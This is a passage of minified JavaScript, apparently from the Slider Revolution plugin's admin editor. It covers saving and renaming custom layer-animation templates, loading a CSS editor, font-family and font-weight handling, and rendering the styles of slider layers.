e[0].dataset.mode="delete",e.addClass("cla_showmessage"),e.find(".cla_message").text(RVS_LANG.deletetemplate),RVS.S.waitOnFeedback={allowed:["cla_answer_yes","cla_answer_no"],closeEvent:"hideCustomLayerNameEntering"},RVS.F.addBodyClickListener(),!1}),RVS.DOC.on("click",".save_custom_layeranimation",function(){var e=void 0!==this.dataset.evt?jQuery(this).closest(".presets_listelement"):jQuery(this).closest(".layer_trans_liste");return e[0].dataset.mode="overwrite",e.addClass("cla_showmessage"),e.find(".cla_message").text(RVS_LANG.overwritetemplate),RVS.S.waitOnFeedback={allowed:["cla_answer_yes","cla_answer_no"],closeEvent:"hideCustomLayerNameEntering"},RVS.F.addBodyClickListener(),!1}),RVS.DOC.on("click",".cla_answer_no",function(){return RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),jQuery(".cla_showentername").removeClass("cla_showentername"),jQuery(".cla_showmessage").removeClass("cla_showmessage"),!1}),RVS.DOC.on("click",".cla_answer_yes",function(){if(void 0!==this.dataset.evt){var e=jQuery(this).closest(".presets_listelement"),t=e[0].dataset.mode,i=e.find(".cla_entername").val();"create"===t&&(o=jQuery('<div data-custom="true" data-evt="'+this.dataset.evt+'" class="presets_listelement dark_btn"><span class="cla_custom_name">'+i+'</span><div class="cla_message">'+RVS_LANG.overwritetemplate+'</div><input data-evt="'+this.dataset.evt+'" type="text" value="'+i+'" class="cla_entername"><div class="custom_layer_animation_toolbar"><i data-evt="'+this.dataset.evt+'" class="cla_answer_yes material-icons">done</i><i data-evt="'+this.dataset.evt+'" class="cla_answer_no material-icons">close</i><i data-evt="'+this.dataset.evt+'" class="edit_custom_layeranimation material-icons">edit</i><i data-evt="'+this.dataset.evt+'" class="save_custom_layeranimation material-icons">save</i><i data-evt="'+this.dataset.evt+'" class="delete_custom_layeranimation material-icons">delete</i></div></div>'),e.closest(".presets_listelements").append(o)),RVS.DOC.trigger(this.dataset.evt,{mode:t,element:o,pl:e,key:e[0].dataset.key,newname:i})}else{var a=jQuery(this).closest(".layer_trans_liste"),t=a[0].dataset.mode,r=RVS.LIB.LAYERANIMS[a[0].dataset.lindex][a[0].dataset.gindex];switch(t){case"rename":case"overwrite":case"create":var s,o,i=a.find(".cla_entername").val(),n={name:i};"custom"!==a.data("tindex")&&"create"!==t||(o=jQuery('<div data-lindex="'+a.data("lindex")+'" data-gindex="'+a.data("gindex")+'" class="layer_trans_liste dark_btn"><span class="cla_custom_name">'+i+'</span><div class="cla_message">'+RVS_LANG.overwritetemplate+'</div><input type="text" value="'+i+'" class="cla_entername"><div class="custom_layer_animation_toolbar"><i class="cla_answer_yes material-icons">done</i><i class="cla_answer_no material-icons">close</i><i class="edit_custom_layeranimation material-icons">edit</i><i class="save_custom_layeranimation material-icons">save</i><i class="delete_custom_layeranimation material-icons">delete</i></div></div>'),a.closest(".lainner_transitions").append(o)),"overwrite"!==t&&"custom"!==a.data("tindex")&&"create"!==t||("in"===a.data("lindex")?(n.frame_0=R(jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timelinecache.frames.frame_0)),n.frame_1=R(jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timelinecache.frames.frame_1))):"out"===a.data("lindex")?n.frame_999=R(jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timelinecache.frames.frame_999)):"loop"===a.data("lindex")&&((n=R(jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timelinecache.loop))).name=i)),"overwrite"!==t&&"rename"!=t||(s=a.data("tindex")),"rename"===t&&(n=r.transitions[s],r.transitions[s].name=i),RVS.F.ajaxRequest("save_animation",{id:s,obj:n,type:a[0].dataset.lindex},function(e){e.success&&(r.transitions[e.id]=n,"custom"!==a.data("tindex")&&"create"!==t||(o[0].dataset.tindex=e.id),"rename"===t&&a.find(".cla_custom_name").text(i))});break;case"delete":RVS.F.ajaxRequest("delete_animation",{id:a[0].dataset.tindex},function(e){e.success&&(delete r.transitions[a[0].dataset.tindex],a.remove())})}}return RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),jQuery(".cla_showentername").removeClass("cla_showentername"),jQuery(".cla_showmessage").removeClass("cla_showmessage"),!1}),RVS.DOC.on("SvgSelectAllChanged",function(e,t){void 0!==t&&void 0!==t.layerid&&(RVS.H[t.layerid].c[0].innerHTML=RVS.L[t.layerid].svg.renderedData,RVS.H[t.layerid].svg=RVS.H[t.layerid].w.find("svg"),RVS.H[t.layerid].svgPath=RVS.H[t.layerid].w.find(RVS.L[t.layerid].idle.svg.styleAll?"svg path, svg circle, svg ellipse, svg line, svg polygon, svg polyline, svg rect":"svg path"))})},RVS.F.updateCustomCSS=function(){"FAIL"!==window.customLayerCss_editor&&("undefined"==typeof RevMirror?(RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.loadingRevMirror}),RVS.F.loadCSS(RVS.ENV.plugin_url+"/admin/assets/css/RevMirror.css"),jQuery.getScript(RVS.ENV.plugin_url+"/admin/assets/js/plugins/RevMirror.js",function(){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),RVS.F.updateCustomCSS()}).fail(function(e,t,i){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),window.customLayerCss_editor="FAIL"})):void 0===window.customLayerCss_editor?(window.customLayerCss_editor=RevMirror(document.getElementById("custom_css_layer_area"),{value:"",mode:"css",theme:"hopscotch",lineWrapping:!0,lineNumbers:!1}),window.customLayerCss_editor.on("focus",function(){window.customLayerCss_editor.refresh()}),window.customLayerCss_editor.on("change",function(e,t){RVS.L[RVS.selLayers[0]].customCSS=window.customLayerCss_editor.getValue()}),setTimeout(RVS.F.updateCustomCSS,200)):void 0===window.customHoverLayerCss_editor?(window.customHoverLayerCss_editor=RevMirror(document.getElementById("custom_css_hover_layer_area"),{value:"",mode:"css",theme:"hopscotch",lineWrapping:!0,lineNumbers:!1}),window.customHoverLayerCss_editor.on("focus",function(){window.customHoverLayerCss_editor.refresh()}),window.customHoverLayerCss_editor.on("change",function(e,t){RVS.L[RVS.selLayers[0]].customHoverCSS=window.customHoverLayerCss_editor.getValue()}),setTimeout(RVS.F.updateCustomCSS,200)):RVS.F.updateCusCSSContent())},RVS.F.updateCusCSSContent=function(){RVS.selLayers.length>0&&null!=window.customLayerCss_editor&&(window.customLayerCss_editor.setValue(RVS.L[RVS.selLayers[0]].customCSS),setTimeout(function(){window.customLayerCss_editor.refresh()},200)),RVS.selLayers.length>0&&void 0!==window.customHoverLayerCss_editor&&(window.customHoverLayerCss_editor.setValue(RVS.L[RVS.selLayers[0]].customHoverCSS),setTimeout(function(){window.customHoverLayerCss_editor.refresh()},200))},RVS.F.compareGoogleFontName=function(t,i){if(void 0!==t&&""!==t&&0!=t.length){e=void 0===e?{source:[],result:[]}:e;var a=jQuery.inArray(t,e.source),r=0;if(a>=0)return e.result[a];for(a=!1,e.source.push(t);r<RVS.LIB.FONTS.length&&!a;)(t===RVS.LIB.FONTS[r].labelLowerCase||t===RVS.LIB.FONTS[r].label||i&&t.toLowerCase()===RVS.LIB.FONTS[r].labelLowerCase)&&(t=RVS.LIB.FONTS[r].label,a=!0),r++;return e.result.push(t),t}},RVS.F.initFontTypes=function(e){RVS.LIB.FONTS=JSON.parse(e);var t=jQuery("#layer_fontfamily"),i="";for(var r in RVS.LIB.FONTS)RVS.LIB.FONTS.hasOwnProperty(r)&&("Dont Show Me"!==RVS.LIB.FONTS[r].label&&""!==RVS.LIB.FONTS[r].label&&(i+='<option value="'+RVS.LIB.FONTS[r].label.split('"').join("'")+'">'+RVS.LIB.FONTS[r].label.split('"').join("")+"</option>"),RVS.LIB.FONTS[r].labelLowerCase=RVS.LIB.FONTS[r].label.toLowerCase());t[0].innerHTML=i,t.ddTP("change"),void 0===o&&(o=!0,RVS.DOC.on("mouseenter",".ddTP_C--fontfamily .ddTP_RO",function(){void 0===this.dataset.val&&(this.dataset.val=this.innerHTML);var e=this.dataset.val.replace(/\ /g,"_");a=this.dataset.val,void 0!==n[e]&&RVS.F.showTextLayerWithFont({family:a})}),RVS.DOC.on("mouseleave",".ddTP_C--fontfamily",function(){RVS.F.resetFontFamiliesOnSelectedLayers()}))},RVS.F.checkAvailableFontWeights=function(e){if(0!==RVS.selLayers.length){t=void 0===t?jQuery("#layer_fontweight_idle"):t,void 0===i&&(i=[],t.find("option").each(function(){i.push({option:this,state:!0})}));var a=[];for(var r in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(r)){var s=RVS.selLayers[r];"text"!==(V=RVS.L[s]).type&&"button"!==V.type||-1==jQuery.inArray(V.idle.fontFamily,a)&&a.push({family:V.idle.fontFamily,weights:[]})}for(var o in i)i.hasOwnProperty(o)&&(t.find('option[value="'+i[o].option.value+'"]').prop("disabled",!1),i[o].state=!0);for(var n in a)if(a.hasOwnProperty(n)){var d=a[n].family;if(d.length>0)for(var S in RVS.LIB.FONTS)if(RVS.LIB.FONTS.hasOwnProperty(S)){var c=RVS.LIB.FONTS[S];if(c.label===d)for(var o in i)if(i.hasOwnProperty(o)){var p=i[o].option.value;jQuery.inArray(p,c.variants)>=0||"websafe"===c.type?a[n].weights.push(p):i[o].state&&(t.find('option[value="'+p+'"]').prop("disabled","disabled"),i[o].state=!1)}}}var R=!1,u=!1;for(var r in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(r)){var V;s=RVS.selLayers[r];if("text"===(V=RVS.L[s]).type||"button"===V.type){var y=-1;for(var n in a)a.hasOwnProperty(n)&&a[n].family==V.idle.fontFamily&&""!==a[n].family&&(y=n);if(y>=0)for(var m in RVS.V.sizes)if(RVS.V.sizes.hasOwnProperty(m)){var f=RVS.V.sizes[m];if(-1==jQuery.inArray(V.idle.fontWeight[f].v,a[y].weights)){!1===u&&!1===RVS.S.bckpGrp&&(u=!1===RVS.S.bckpGrp?"started":"inProgress",RVS.F.openBackupGroup({id:"fontWeight",txt:"Font Weight",icon:"layers",lastkey:"layer"})),R=!0;var h=l({v:V.idle.fontWeight[f].v,a:a[y].weights});RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+s+".idle.fontWeight."+f+".v",val:h})}}}}"started"===u&&RVS.F.closeBackupGroup({id:"fontWeight"}),R&&RVS.F.updateEasyInputs({container:jQuery("#form_layerstyle_font"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),e||(t.hasClass("ddTP-hidden-accessible")&&t.ddTP("destroy"),t.ddTP({placeholder:"Select"}))}},RVS.F.showTextLayerWithFont=function(e){for(var t in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)){var i=RVS.selLayers[t],a=RVS.L[i],r=RVS.H[i].c;"text"!==a.type&&"button"!==a.type||r.css({fontFamily:"'"+e.family+"'"})}},RVS.F.resetFontFamiliesOnSelectedLayers=function(){for(var e in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(e)){var t=RVS.selLayers[e],i=RVS.L[t];"text"!==i.type&&"button"!==i.type||RVS.F.drawHTMLLayer({uid:t})}},RVS.F.getDashArray=function(e){return(RVS.F.isNumeric(e)||-1===e.indexOf(",")&&-1===e.indexOf(" ")||1===e.split(",").length||1===e.split(" ").length)&&(e=e+" "+e),e},RVS.F.drawHTMLLayer=function(e){if(RVS.S.drawHTMLLayersCalled){if(void 0===RVS.H[e.uid]){if(!0===e.recheck)return;e.recheck=!0,setTimeout(function(){RVS.F.drawHTMLLayer(e)},500)}var t,i=RVS.H[e.uid],a=RVS.L[e.uid];if(void 0!==i){var r=i.c[0].className.indexOf("placeholder_on")>=0;i.c[0].className="_lc_content_"+(r?" placeholder_on":"")+(void 0!==a.idle.style?" "+a.idle.style:"")+(void 0!==a.runtime.internalClass?" "+a.runtime.internalClass:"");var s={textAlign:a.idle.textAlign[RVS.screen].v,boxSizing:"border-box",transformStyle:a.timeline.split?"preserve-3d":"flat",fontFamily:void 0!==a.idle.fontFamily?-1===a.idle.fontFamily.indexOf(",")?"'"+a.idle.fontFamily+"'":a.idle.fontFamily:"Roboto",fontSize:parseInt(a.idle.fontSize[RVS.screen].v,0)+"px",lineHeight:parseInt(a.idle.lineHeight[RVS.screen].v,0)+"px",fontWeight:void 0===a.idle.fontWeight[RVS.screen].v?400:a.idle.fontWeight[RVS.screen].v,color:window.RSColor.get(a.idle.color[RVS.screen].v),letterSpacing:parseFloat(a.idle.letterSpacing[RVS.screen].v)+"px",fontStyle:"normal"===a.idle.fontStyle||!1===a.idle.fontStyle?"normal":"italic",textDecoration:"row"===a.type||"column"===a.type||"group"===a.type?"none":a.idle.textDecoration,textTransform:a.idle.textTransform,borderColor:"column"===a.type?"transparent":window.RSColor.get(a.idle.borderColor),borderRadius:a.idle.borderRadius.v[0]+" "+a.idle.borderRadius.v[1]+" "+a.idle.borderRadius.v[2]+" "+a.idle.borderRadius.v[3]+" ",borderWidth:a.idle.borderWidth[0]+" "+a.idle.borderWidth[1]+" "+a.idle.borderWidth[2]+" "+a.idle.borderWidth[3]+" ",borderStyle:a.idle.borderStyle[RVS.screen].v,width:a.size.width[RVS.screen].v,height:a.size.height[RVS.screen].v,whiteSpace:"normal"==a.idle.whiteSpace[RVS.screen].v||"full"==a.idle.whiteSpace[RVS.screen].v?"normal":"nowrap",paddingTop:a.idle.padding[RVS.screen].v[0],paddingRight:a.idle.padding[RVS.screen].v[1],paddingBottom:a.idle.padding[RVS.screen].v[2],paddingLeft:a.idle.padding[RVS.screen].v[3],minWidth:"none"===a.size.minWidth[RVS.screen].v?0:a.size.minWidth[RVS.screen].v,minHeight:"none"===a.size.minHeight[RVS.screen].v?0:a.size.minHeight[RVS.screen].v,maxWidth:a.size.maxWidth[RVS.screen].v,maxHeight:a.size.maxHeight[RVS.screen].v,boxShadow:a.idle.boxShadow.inuse?a.idle.boxShadow.color+" "+a.idle.boxShadow.hoffset[RVS.screen].v+" "+a.idle.boxShadow.voffset[RVS.screen].v+" "+a.idle.boxShadow.blur[RVS.screen].v+" "+a.idle.boxShadow.spread[RVS.screen].v+" ":"none"},o={rotationX:a.hover.rotationX,rotationY:a.hover.rotationY,rotationZ:a.hover.rotationZ,autoAlpha:a.hover.opacity,transformPerspective:RVS.SLIDER.settings.general.perspective,transformOrigin:a.hover.originX+" "+a.hover.originY+" "+a.hover.originZ,skewX:a.hover.skewX,skewY:a.hover.skewY,scaleX:a.hover.scaleX,scaleY:a.hover.scaleY,borderColor:window.RSColor.get(a.hover.borderColor),borderTopLeftRadius:a.hover.borderRadius.v[0],borderTopRightRadius:a.hover.borderRadius.v[1],borderBottomRightRadius:a.hover.borderRadius.v[2],borderBottomLeftRadius:a.hover.borderRadius.v[3],borderTopWidth:a.hover.borderWidth[0],borderRightWidth:a.hover.borderWidth[1],borderBottomWidth:a.hover.borderWidth[2],borderLeftWidth:a.hover.borderWidth[3],borderStyle:a.hover.borderStyle,color:window.RSColor.get(a.hover.color),textDecoration:a.hover.textDecoration},n="row"===a.type?{marginTop:a.idle.margin[RVS.screen].v[0],paddingRight:a.idle.margin[RVS.screen].v[1],marginBottom:a.idle.margin[RVS.screen].v[2],paddingLeft:a.idle.margin[RVS.screen].v[3]}:"column"===a.type?{paddingTop:a.idle.margin[RVS.screen].v[0],paddingRight:a.idle.margin[RVS.screen].v[1],paddingBottom:a.idle.margin[RVS.screen].v[2],paddingLeft:a.idle.margin[RVS.screen].v[3]}:{marginTop:a.idle.margin[RVS.screen].v[0],marginRight:a.idle.margin[RVS.screen].v[1],marginBottom:a.idle.margin[RVS.screen].v[2],marginLeft:a.idle.margin[RVS.screen].v[3]},l=window.RSColor.get(a.idle.backgroundColor),d=window.RSColor.get(a.hover.backgroundColor),S="video"===a.type?a.media.posterUrl:a.idle.backgroundImage,c={};if(!1===a.visibility[RVS.screen]?n.opacity=.25:n.opacity=1,a.idle.textShadow.inuse?s.textShadow=a.idle.textShadow.hoffset[RVS.screen].v+" "+a.idle.textShadow.voffset[RVS.screen].v+" "+a.idle.textShadow.blur[RVS.screen].v+" "+a.idle.textShadow.color:s["text-shadow"]="none",a.idle.textStroke.inuse?s["-webkit-text-stroke"]=parseInt(a.idle.textStroke.width[RVS.screen].v,0)+"px "+a.idle.textStroke.color:s["-webkit-text-stroke"]="0 transparent","column"==a.type&&(c.borderColor=window.RSColor.get(a.idle.borderColor),c.borderWidth=a.idle.borderWidth[0]+" "+a.idle.borderWidth[1]+" "+a.idle.borderWidth[2]+" "+a.idle.borderWidth[3]+" ",c.borderStyle=a.idle.borderStyle[RVS.screen].v),void 0!==S&&S.length>4&&-1==l.indexOf("gradient")?"column"===a.type||"row"===a.type?(c.backgroundImage='url("'+S+'")',c.backgroundPosition=a.idle.backgroundPosition,c["background-size"]="percentage"===a.idle.backgroundSize?a.idle.backgroundSizePerc+"%":"pixel"===a.idle.backgroundSize?a.idle.backgroundSizePix+"px":a.idle.backgroundSize,c.backgroundRepeat=a.idle.backgroundRepeat):(s.backgroundImage='url("'+S+'")',s.backgroundPosition=a.idle.backgroundPosition,s["background-size"]="percentage"===a.idle.backgroundSize?a.idle.backgroundSizePerc+"%":"pixel"===a.idle.backgroundSize?a.idle.backgroundSizePix+"px":a.idle.backgroundSize,s.backgroundRepeat=a.idle.backgroundRepeat,"transparent"!==l&&(s.backgroundColor=l),"transparent"!==d&&(o.backgroundColor=d)):("column"===a.type||"row"===a.type?(c.backgroundImage="",c.transformStyle="preserve-3d"):s.background=l,-1==d.indexOf("gradient")?o.backgroundColor=d:o.background=d),"column"===a.type||"row"===a.type){c.left="column"===a.type?0:a.idle.margin[RVS.screen].v[3],c.right="column"===a.type?0:a.idle.margin[RVS.screen].v[1],c.top=0,c.bottom=0,c.borderRadius=a.idle.borderRadius.v[0]+" "+a.idle.borderRadius.v[1]+" "+a.idle.borderRadius.v[2]+" "+a.idle.borderRadius.v[3]+" ",tpGS.gsap.set(i.bg,c),"column"===a.type&&tpGS.gsap.set(i.bgmask,{top:a.idle.margin[RVS.screen].v[0],bottom:a.idle.margin[RVS.screen].v[2],left:a.idle.margin[RVS.screen].v[3],right:a.idle.margin[RVS.screen].v[1]});var p=[parseInt(a.idle.borderWidth[0]),parseInt(a.idle.borderWidth[1]),parseInt(a.idle.borderWidth[2]),parseInt(a.idle.borderWidth[3])];tpGS.gsap.set(i.margins.top,{height:a.idle.margin[RVS.screen].v[0],top:"row"===a.type?0-a.idle.margin[RVS.screen].v[0]:"0",paddingRight:a.idle.margin[RVS.screen].v[1],paddingLeft:a.idle.margin[RVS.screen].v[3]}),tpGS.gsap.set(i.margins.bottom,{height:a.idle.margin[RVS.screen].v[2],bottom:"row"===a.type?0-a.idle.margin[RVS.screen].v[2]:"0",paddingRight:a.idle.margin[RVS.screen].v[1],paddingLeft:a.idle.margin[RVS.screen].v[3]}),tpGS.gsap.set(i.margins.left,{width:a.idle.margin[RVS.screen].v[3],lineHeight:a.idle.margin[RVS.screen].v[0]}),tpGS.gsap.set(i.margins.right,{width:a.idle.margin[RVS.screen].v[1]}),tpGS.gsap.set(i.paddings.top,{height:a.idle.padding[RVS.screen].v[0]+p[0],top:"row"===a.type?0:a.idle.margin[RVS.screen].v[0],paddingRight:a.idle.padding[RVS.screen].v[1]+a.idle.margin[RVS.screen].v[1]+p[1],paddingLeft:a.idle.padding[RVS.screen].v[3]+a.idle.margin[RVS.screen].v[3]+p[3]}),tpGS.gsap.set(i.paddings.bottom,{height:a.idle.padding[RVS.screen].v[2]+p[2],bottom:"row"===a.type?0:a.idle.margin[RVS.screen].v[2],paddingRight:a.idle.padding[RVS.screen].v[1]+a.idle.margin[RVS.screen].v[1]+p[1],paddingLeft:a.idle.padding[RVS.screen].v[3]+a.idle.margin[RVS.screen].v[3]+p[3]}),tpGS.gsap.set(i.paddings.left,{left:a.idle.margin[RVS.screen].v[3],width:a.idle.padding[RVS.screen].v[3]+p[3],paddingTop:"row"===a.type?0:a.idle.margin[RVS.screen].v[0],paddingBottom:"row"===a.type?0:a.idle.margin[RVS.screen].v[2]}),tpGS.gsap.set(i.paddings.right,{right:a.idle.margin[RVS.screen].v[1],width:a.idle.padding[RVS.screen].v[1]+p[1],paddingTop:"row"===a.type?0:a.idle.margin[RVS.screen].v[0],paddingBottom:"row"===a.type?0:a.idle.margin[RVS.screen].v[2]}),"column"===a.type?(tpGS.gsap.set(i.borders.top,{top:a.idle.margin[RVS.screen].v[0],left:a.idle.margin[RVS.screen].v[3],right:a.idle.margin[RVS.screen].v[1],width:"auto"}),tpGS.gsap.set(i.borders.right,{right:a.idle.margin[RVS.screen].v[1],top:a.idle.margin[RVS.screen].v[0],bottom:a.idle.margin[RVS.screen].v[2],height:"auto"}),tpGS.gsap.set(i.borders.bottom,{bottom:a.idle.margin[RVS.screen].v[2],left:a.idle.margin[RVS.screen].v[3],right:a.idle.margin[RVS.screen].v[1],width:"auto"}),tpGS.gsap.set(i.borders.left,{left:a.idle.margin[RVS.screen].v[3],top:a.idle.margin[RVS.screen].v[0],bottom:a.idle.margin[RVS.screen].v[2],height:"auto"})):(tpGS.gsap.set([i.borders.bottom,i.borders.top],{left:a.idle.margin[RVS.screen].v[3],right:a.idle.margin[RVS.screen].v[1],width:"auto"}),tpGS.gsap.set(i.borders.right,{right:a.idle.margin[RVS.screen].v[1]}),tpGS.gsap.set(i.borders.left,{left:a.idle.margin[RVS.screen].v[3]}))}else"video"===a.type?(i.vtitle.textContent=a.media.mediaType,i.volay.style.backgroundImage=RVS._R.createOverlay("slide",a.media.dotted,a.media.dottedSize,{0:a.media.dottedColorA,1:a.media.dottedColorB})):"audio"===a.type?!1===a.media.controls?(i.c[0].classList.add("placeholder_on"),i.c[0].classList.remove("audio_controls_on")):(i.c[0].classList.add("audio_controls_on"),i.c[0].classList.remove("placeholder_on")):"shape"===a.type&&i.c[0].classList[a.idle.bgFromStream?"add":"remove"]("placeholder_on");n.verticalAlign="inherit","column"===a.type&&(n.verticalAlign=a.idle.verticalAlign,s.verticalAlign=a.idle.verticalAlign),-1!==a.group.puid&&"column"===RVS.L[a.group.puid].type?(n.display=s.display=a.idle.display,n.float=a.idle.float[RVS.screen].v,n.clear=a.idle.clear[RVS.screen].v):"row"!==a.type&&"column"!==a.type&&(s.display="block",n.clear="none"),void 0!==a.hover.filter.blur&&(t="blur("+parseInt(a.hover.filter.blur,0)+"px)",o["-webkit-filter"]=void 0===o["-webkit-filter"]?t:o["-webkit-filter"]+" "+t,o.filter=void 0===o.filter?t:o.filter+" "+t),void 0!==a.hover.filter.grayscale&&(t="grayscale("+parseInt(a.hover.filter.grayscale,0)+"%)",o["-webkit-filter"]=void 0===o["-webkit-filter"]?t:o["-webkit-filter"]+" "+t,o.filter=void 0===o.filter?t:o.filter+" "+t),void 0!==a.hover.filter.brightness&&(t="brightness("+parseInt(a.hover.filter.brightness,0)+"%)",o["-webkit-filter"]=void 0===o["-webkit-filter"]?t:o["-webkit-filter"]+" "+t,o.filter=void 0===o.filter?t:o.filter+" "+t),"blur(0px) grayscale(0%) brightness(100%)"===o.filter&&(o.filter="",o["-webkit-filter"]=""),a.timeline.hoverFilterUsed=void 0!==o.filter&&""!==o.filter,i.w_width=s.width="auto"==a.size.width[RVS.screen].v?"auto":RVS.F.smartConvertDivs(a.size.width[RVS.screen].v),i.w_height=s.height="auto"==a.size.height[RVS.screen].v?"auto":RVS.F.smartConvertDivs(a.size.height[RVS.screen].v),"image"===a.type&&(s.overflow="hidden");var R=RVS.F.convertFraction(a.group.columnSize);n.width="column"==a.type?100*R+"%":i.w_width,n.maxWidth="column"==a.type?"0px":void 0===n.maxWidth?"none":n.maxWidth,n.height="column"==a.type||"row"==a.type?"auto":i.w_height,s.width="column"==a.type||"row"==a.type?"100%":s.width,s.height="column"==a.type||"row"==a.type?"auto":s.height;var u="slide"===a.behavior.baseAlign?RVS.F.updateCoveredLayer(a.uid):void 0;if("column"===a.type)s.whiteSpace="normal","notebook"===(V=RVS.L[a.group.puid].group.columnbreakat)&&("n"===RVS.screen||"t"===RVS.screen||"m"===RVS.screen)||"tablet"===V&&("t"===RVS.screen||"m"===RVS.screen)||"mobile"===V&&"m"===RVS.screen?(n.display="block",s.width="100%",n.width="100%",n.maxWidth="none"):n.display="table-cell";else if("row"===a.type){var V;n.width="100%","notebook"===(V=a.group.columnbreakat)&&("n"===RVS.screen||"t"===RVS.screen||"m"===RVS.screen)||"tablet"===V&&("t"===RVS.screen||"m"===RVS.screen)||"mobile"===V&&"m"===RVS.screen?s.display="block":s.display="table"}else if("image"===a.type&&"custom"!==a.size.covermode){var y=RVS.F.getProportionalSizes({proportional:a.size.scaleProportional,type:a.size.covermode,image:{width:a.size.originalWidth,height:a.size.originalHeight},viewPort:{width:void 0!==u&&!1!==u&&void 0!==u.width?RVS.S.ulDIM.width:RVS.F.GW(RVS.screen),height:void 0!==u&&!1!==u&&void 0!==u.height?RVS.S.ulDIM.height:RVS.SLIDER.settings.size.height[RVS.screen]}});n.width=s.width=y.width,n.height=s.height=y.height}else if("video"===a.type&&"auto"===a.size.height[RVS.screen].v){var m=a.media.ratio.split(":");m=m[1]/m[0],n.height=s.height=i.w.width()*m}else if("shape"===a.type)n.lineHeight=RVS.F.isVaOrPx(s.height)?parseInt(s.height,0)+"px":"auto";else if("svg"===a.type&&i.svg){tpGS.gsap.set(i.svg,!0!==a.idle.svg.originalColor?{width:"100%",height:"100%",fill:window.RSColor.get(a.idle.svg.color[RVS.screen].v),stroke:window.RSColor.get(a.idle.svg.strokeColor),"stroke-width":a.idle.svg.strokeWidth,"stroke-dasharray":RVS.F.getDashArray(a.idle.svg.strokeDashArray),"stroke-dashoffset":void 0===a.idle.svg.strokeDashOffset?0:a.idle.svg.strokeDashOffset}:{width:"100%",height:"100%",clearProps:"fill,stroke,stroke-width,stroke-dasharray,stroke-dashoffset"});!0!==a.idle.svg.originalColor?tpGS.gsap.set(i.svgPath,{fill:window.RSColor.get(a.idle.svg.color[RVS.screen].v)}):tpGS.gsap.set(i.svgPath,{clearProps:"fill"})}if("slide"===a.behavior.baseAlign&&(i.w_width=n.width=!1!==u&&void 0!==u.width?u.width:n.width,i.w_height=n.height=!1!==u&&void 0!==u.height?u.height:n.height),!RVS.F.isNumeric(s.width)&&s.width.indexOf("%")>=0&&(s.width="100%"),!RVS.F.isNumeric(s.height)&&s.height.indexOf("%")>=0&&(s.height="100%"),"group"===a.type&&("100%"===s.height?tpGS.gsap.set([i.m,i.iw,i.lp],{height:"100%"}):tpGS.gsap.set([i.m,i.iw,i.lp],{height:"auto"})),n.onComplete=function(){RVS.DOC.trigger("layerDrawn",{layerid:e.uid})},"true"==a.hover.usehover||1==a.hover.usehover||"desktop"==a.hover.usehover){var f,h=void 0!==s.background&&"string"==typeof s.background&&-1!==s.background.search("gradient"),g=void 0!==o.background&&"string"==typeof o.background&&-1!==o.background.search("gradient");h&&g?(180!==RVS.F.gradDegree(s.background)&&180==RVS.F.gradDegree(o.background)&&(o.background=RVS.F.addGradDegree(o.background,180)),f=tpGS.getSSGColors(s.background,o.background,a.hover.gradientStyle),s.background=f.from,o.background=f.to):void 0!==s.background&&!h&&g?(f=tpGS.getSSGColors(s.background,o.background,a.hover.gradientStyle),s.background=f.from,o.background=f.to):h&&!g&&void 0!==o.backgroundColor&&(f=tpGS.getSSGColors(s.background,o.backgroundColor,a.hover.gradientStyle),s.background=f.from,o.background=f.to)}"column"===a.type&&(delete s.backgroundColor,delete s.background),s.immediateRender=!0,n.immediateRender=!0,tpGS.gsap.set(i.c,s),tpGS.gsap.set(i.w,n),RVS.F.updateSharpCorners({uid:e.uid,bgcolor:l}),i.htr=o,i.bg_htr={},requestAnimationFrame(function(){RVS.F.renderLayerAnimation({layerid:e.uid,quickRendering:e.ignoreLayerAnimation,timeline:"full",caller:"drawHTMLLayer"}),RVS.F.checkCurrentLayerHoverMode({layerid:e.uid}),(void 0===i.drawnonce&&"button"===a.type||"text"===a.type)&&(i.drawnonce=!0,RVS.F.updateHTMLLayerPosition({uid:e.uid}))}),RVS.S.shwLayerAnim&&jQuery.inArray(e.uid,RVS.selLayers)>=0&&RVS.F.playLayerAnimation({layerid:e.uid}),RVS.F.updateMinSliderHeights()?RVS.S.drawingHTMLLayers?RVS.S.updateMinSliderHeight_force=!0:RVS.DOC.trigger("updatesliderlayout","layer.js-586"):(RVS.F.updateHTMLLayerPosition(e),requestAnimationFrame(function(){requestAnimationFrame(function(){RVS.F.updateHTMLLayerPosition(e)})}))}}},RVS.F.addGradDegree=function(e,t){var i=(e=e.split("("))[0];return e.shift(),i+"("+t+"deg, "+e.join("(")},RVS.F.gradDegree=function(e){if(-1!==e.search("deg,")){var t=e.split("deg,")[0];if(-1!==t.search(/\(/))return parseInt(t.split("(")[1],10)}return 180},RVS.F.smartConvertDivs=function(e){return"string"==typeof e&&"#"===e[0]?e[1]/e[3]*100+"%":e},RVS.F.updateSharpCorners=function(e){if("text"===RVS.L[e.uid].type||"button"===RVS.L[e.uid].type||"shape"===RVS.L[e.uid].type){var t=RVS.H[e.uid],i=RVS.L[e.uid];e.resize||(t.leftcorner&&t.leftcorner.remove(),t.rightcorner&&t.rightcorner.remove()),"none"!==i.idle.cornerLeft&&(e.resize&&void 0!==t.leftcorner||(t.leftcorner=jQuery("<"+i.idle.cornerLeft+"></"+i.idle.cornerLeft+">"),t.c.append(t.leftcorner)),t.leftcorner.css("borderWidth",t.c.outerHeight()+"px"),t.leftcorner.css("borderRight","0px solid transparent"),e.bgcolor&&t.leftcorner.css("border"+("rs-fcrt"===i.idle.cornerLeft?"Bottom":"Top")+"Color",e.bgcolor)),"none"!==i.idle.cornerRight&&(e.resize&&void 